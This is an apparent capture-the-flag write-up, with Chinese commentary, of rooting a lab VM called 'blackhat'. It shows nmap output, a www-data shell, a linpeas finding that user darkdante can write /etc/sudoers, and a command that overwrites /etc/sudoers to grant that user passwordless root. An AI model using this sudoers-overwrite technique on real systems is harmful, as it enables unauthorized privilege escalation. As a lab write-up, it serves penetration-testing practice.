Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-14 21:10 EDT Nmap scan report for 192.168.0.205 Host is up (0.00024s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http MAC Address: 08:00:27:6C:E1:C7 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 15.83 seconds
(remote) www-data@blackhat:/home$ cd darkdante/ (remote) www-data@blackhat:/home/darkdante$ ls user.txt (remote) www-data@blackhat:/home/darkdante$ ls -al total 28 drwxr-xr-x 3 darkdante darkdante 4096 Nov 13 2022 . drwxr-xr-x 3 root root 4096 Nov 11 2022 .. lrwxrwxrwx 1 root root 9 Nov 11 2022 .bash_history -> /dev/null -rw-r--r-- 1 darkdante darkdante 220 Nov 11 2022 .bash_logout -rw-r--r-- 1 darkdante darkdante 3526 Nov 11 2022 .bashrc drwxr-xr-x 3 darkdante darkdante 4096 Nov 11 2022 .local -rw-r--r-- 1 darkdante darkdante 807 Nov 11 2022 .profile -rwx------ 1 darkdante darkdante 33 Nov 11 2022 user.txt (remote) www-data@blackhat:/home/darkdante$ cat user.txt cat: user.txt: Permission denied
提权 darkdante
没有 sudo,看看 pspy64 ,也没有什么进程。
再拿来 linpeas 看看。
看到了一个似乎有用的:
1 2 3 4 5 6 7 8
╔══════════╣ Files with ACLs (limited to 50) ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls # file: /etc/sudoers USER root r-- user darkdante rw- GROUP root r-- mask rw- other ---
su darkdante (remote) www-data@blackhat:/tmp$ su darkdante darkdante@blackhat:/tmp$
提权 root
我们刚才已经知道这货可以写 /etc/sudoers,那就直接写一个。
1 2 3 4
echo"darkdante ALL=(ALL) NOPASSWD: ALL #" > /etc/sudoers darkdante@blackhat:/tmp$ sudo su root@blackhat:/tmp# id uid=0(root) gid=0(root) groups=0(root)